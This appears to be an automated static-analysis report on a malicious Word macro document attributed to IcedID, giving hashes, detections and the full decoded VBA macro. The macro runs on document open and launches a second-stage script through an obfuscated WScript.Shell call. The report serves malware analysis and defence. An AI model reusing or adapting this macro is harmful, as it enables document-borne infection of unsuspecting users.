IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 7a6dcd84497aa24f…

MALICIOUS

Office (OOXML)

34.3 KB Created: 2021-11-01 04:35:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-21
MD5: 9ef910194ba4384a566dd9496a4ef97c SHA-1: c14894c0830a679b4a93ee9909e56440d7cab4c0 SHA-256: 7a6dcd84497aa24fe7d9693ea19deb3d3e81ec74078214e710d710bf0d4de7a0
202 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OOXML document containing a VBA macro. The macro executes a function that uses CreateObject to instantiate a Windows Script Host object, which is then used to execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family. The VBA macro's use of 'CreateObject("wscr" + nextYouDow + "ell")' and 'loveDoorPow.exec "explorer.exe " & doorTubeKarol' indicates it downloads and executes a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1029 bytes
SHA-256: 12d5a5e33a2eaeee829543e14b6fa9206c9721e7c10359a1950134211ed23bc9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
doorDowDoor = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(doorDowDoor)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=dowTubeKarol, Replace:=wdReplaceAll
End Function
Public Function s(doorTubeKarol, nextYouDow)
Set loveDoorPow = CreateObject("wscr" + nextYouDow + "ell")
loveDoorPow.exec "explorer.exe " & doorTubeKarol
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(youDowDow)
Dim loadDoorGirl As String
loadDoorGirl = ""
youPowDow = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=youPowDow, FileFormat:=wdFormatText
ThisDocument.s youPowDow, "ipt.sh"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 1b68bdbe72c7cedad7ca88f8d78984bade070eba18158ba1a545a72b5d4bd455

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